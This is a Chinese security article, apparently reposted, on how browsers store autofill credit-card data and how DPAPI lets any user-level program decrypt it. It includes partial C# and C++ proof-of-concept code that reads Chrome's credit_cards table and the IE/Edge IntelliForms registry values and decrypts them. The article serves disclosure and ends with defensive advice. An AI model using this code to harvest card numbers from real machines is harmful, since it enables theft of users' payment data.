看我如何从浏览器中获取信用卡密码

 [[225922]]

一.写在前面的话

在如今信用卡时代,信用卡盗刷案例层出不穷,作案方式也是五花八门。如中间人(MITM),恶意软件和rootkit攻击。一旦攻击者获得数据访问权限,他们会将窃取到的信用卡信息转移到他们的服务器,然后将其用于匿名支付或出售以赚取利润。

最近我们研究了几款最受欢迎的四种浏览器—Internet Explorer(IE),Microsoft Edge,Google Chrome和Mozilla Firefox是如何存储信用卡数据以及其他的安全风险。

二.记住密码

如今许多浏览器为了方便用户使用提供了记住密码等功能。但同时也暴露了一些安全问题。就以“记住密码”功能为例。首先我们了解下它的工作原理:浏览器存储HTML表单数据,并在请求信息时自动填写表单。这样可以避免用户重新输入信息,节省填写表单的时间。在研究中我们发现IE,Edge,Chrome和Firefox都存在记住密码的功能。不幸的是,他们存储敏感信息的方式都存在安全隐患。

在图1中,您可以看到记住密码功能的一个示例。

图1

三.如何储存自动填写的数据

自动填写数据基于操作系统(OS)的不同存储在不同位置。我们看看常见的几种浏览器是怎么储存数据的。

IE和Edge将数据存储至以下注册表项

  1. HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms FormData 
  2. HKEY_CURRENT_USER Software Classes LocalSettings Software Microsoft Windows CurrentVersion 
  3. AppContainer Storage microsoft.microsoftedge_8wekyb3d8bbwe MicrosoftEdge IntelliForms FormData 
  4. HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage1 
  5. HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage2 

Chrome将数据存储在SQLite数据库文件中

  1. %LocalAppData% Google Chrome User Data Default Web Data 

Firefox将数据存储在SQLite数据库文件中

  1. %AppData% Mozilla Firefox Profiles {uniqString}。默认 formhistory.sqlite 

需要注意的是IE,Edge,Chrome和Firefox都利用Windows DPAPI(数据保护接口)来加密自动填写数据,并在下次使用之前将其解密。

四.DPAPI

DPAPI(数据保护接口)是一对调用函数,为用户和系统进程提供操作系统级别的数据保护服务。可是我们知道数据保护是操作系统的一部分,所以每个应用程序都可以保护数据,而不需要任何特定的加密代码,也就是说不需要DPAPI进行的函数调用。

那么问题来了:浏览器使用DPAPI函数,同时加密所需的数据,而且不需要用户干预。任何脚本或代码都可以在不需要特殊许可或提升权限的情况下就可以调用解密DPAPI函数来解密数据,比如信用卡信息。

五.加密数据提取

为了从IE,Edge,Chrome和Firefox中提取信用卡数据,我们需要了解两件事情:

1.SQLite数据库结构

2.如何使用DPAPI解密信用卡信息

SQLite是如今很受欢迎的嵌入式数据库软件。它广泛部署数据库引擎,也用于浏览器,操作系统,嵌入式系统(例如,移动电话)和其它软件。

DPAPI CryptUnprotectData函数

图2

重要参数:

pDataIn [输入]

指向保存加密数据的DATA_BLOB结构的指针。

ppszDataDescr [输出,可选]

指向加密数据字符串可读的指针。

pOptionalEntropy [输入,可选]

指向数据加密时使用的密码或其他附加熵的DATA_BLOB结构的指针 。

pPromptStruct [输入,可选]

指向CRYPTPROTECT_PROMPTSTRUCT结构的指针,该结构提供有关显示提示的位置和时间以及这些提示的内容应该是什么内容的信息。该参数可以设置为NULL。

pDataOut [输出]

指向接收解密数据的DATA_BLOB结构的指针。

六.Chrome案例研究

1.Chrome SQLite存储文件

图3通过使用“DB Browser for SQLite”工具显示Chrome的自动填写数据(在Web数据SQLite文件下)。

请注意,Chrome会将信用卡详细信息保存在一个名为“credit_cards”的单独表格中

图3

正如你所看到的,所有的细节都是明文的,除了card_number字段,它为一个加密的BlobData字段。

在图4中,您可以看到其他保存的表格,其中的数据也未加密。

图4

2.Chrome DPAPI调用

Chrome浏览器允许用户通过设置来查看存储的信用卡信息,你在地址栏输入chrome:// settings / AutoFill就可以看见了。

图5

正如你看到的,我们有一张编号“4916 4182 7187 7549”的信用卡。当要求查看信用卡信息时,或者浏览器尝试自动填写表单字段时,会调用用于解密数据的DPAPI功能。

在图6中,您可以看到Chrome API对DPAPI函数-CryptUnProtectData()的调用。参数pDataOut-> pbdata指向返回的解密数据(参见函数声明和pDataOut参数)。

*您可以在pDataOut-> pbdata的地址空间中看到卡号“4916 4182 7187 7549” 。

图6

图6- API监视器,Chrome浏览器调用DPAPI CryptUnprotectData()函数

无独有偶,IE和Edge浏览器在自动填写用户表单字段时使用相同的过程。

唯一的区别是IE和Edge将他们的自动填写数据作为加密的BlobData存储在注册表中。

至于Firefox,您也可以使用“DB Browser for SQLite”工具查看未加密的数据。

七.深入探索代码

在了解这些情况之后,我们可以从以下两点来编写我们POC:

1.将处理SQLite数据库(适用于Chrome和Firefox)和DPAPI的软件包导入到我们的项目中。

2.使用DPAPI函数来解密浏览器的自动填写的BlobData。

Chrome代码(C#)

第1行 – 定义Chrome自动填写数据库文件的路径(应该关闭Chrome才能访问该文件)。

第2行 – 定义存储信用卡详细信息的表的名称。

  1. string SQLiteFilePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+ "\Google\Chrome\User Data\Default\Web Data"
  2. string tableName = "credit_cards"
  3. . . . 

第1-5行定义到db的连接,以及查询所需的表(credit_cards)。

第7-8行将所需数据返回到DB DataTable对象(此对象表示一个内存数据表)。

  1. string ConnectionString = "data source=" + SQLiteFilePath + ";New=True;UseUTF16Encoding=True"
  2. string sql = string.Format("SELECT * FROM {0} ", tableName); 
  3. SQLiteConnection connect = new SQLiteConnection(ConnectionString) 
  4. SQLiteCommand command = new SQLiteCommand(sql, connect); 
  5. SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); 
  6. DataTable DB = new DataTable(); 
  7. adapter.Fill(DB); 
  8. ................ 

第1行从DB对象中提取加密的BlobData字段(信用卡号)。

第2行发送加密的BlobData进行解密。

  1. byte[] byteArray = (byte[])DB.Rows[i][4]; 
  2. byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); 
  3. . . . 

IE & Edge code (C++)- –

第1行定义了一个DATA_BLOB对象,该对象将保存加密数据(自动填写注册表值)。

第2行定义了一个DATA_BLOB对象,该对象将保存解密的数据(自动填写注册表值)。

第4-8行定义了注册码。(这些注册表键都保存着reg值,它们保存着自动填写Blob数据)。

  1. DATA_BLOB DataIn; 
  2. DATA_BLOB DataVerify; 
  3. std::vector<LPCWSTR> RegKeys; 
  4. RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\FormData"); 
  5. RegKeys.push_back(L"Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData"); 
  6. RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\Storage1"); 
  7. RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\Storage2"); 
  8. . . . 

剩下要做的就是运行每个注册表项,并为每个注册表项提取其注册表值(自动填写BlobData)。

  1. for (int i = 0; i < 4; i++) 
  2. RegOpenKeyEx(HKEY_CURRENT_USER, RegKeys[i], 0, KEY_QUERY_VALUE, &hKey) 
  3. for (int j = 0; j < keyValues.size(); j++) 
  4. RegQueryValueEx(hKey, keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize); 
  5. . . . 

为了将数据发送到解密函数(decryptContentDPAPI是CryptUnProtectData()函数的包装函数),我们需要将返回的自动填写BlobData(通过RegQueryValueEx调用获取)转换为DATA_BLOB对象。解密后的数据将被返回到DataVerify对象中。

  1. DataIn.cbData = dwBufSize; 
  2. DataIn.pbData = dwReturn; 
  3. decryptContentDPAPI(&DataIn,&DataVerify); 
  4. . . . 

八.写在最后的话

综上所述,问题的根源在于使用了DPAPI,正因为这样恶意软件和木马就可以在不需要用户干预的情况下自动解密数据。提取到用户数据,例如信用卡和密码数据。

一些建议:

第一,禁用浏览器的自动填写选项。

第二,尽量不要在浏览器中填写关于信用卡的数据,更不要在不安全的网络环境进行交易。

参考文献

  • https://msdn.microsoft.com/en-us/library/ms995355.aspx
  • https://www.sqlite.org/
  • https://www.kraftkennedy.com/roaming-internet-explorer-chrome-user-saved-passwords-ue-v/
  • https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
  • https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/149280.html<

(0)
运维的头像运维
上一篇2025-03-12 13:17
下一篇 2025-03-12 13:18

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注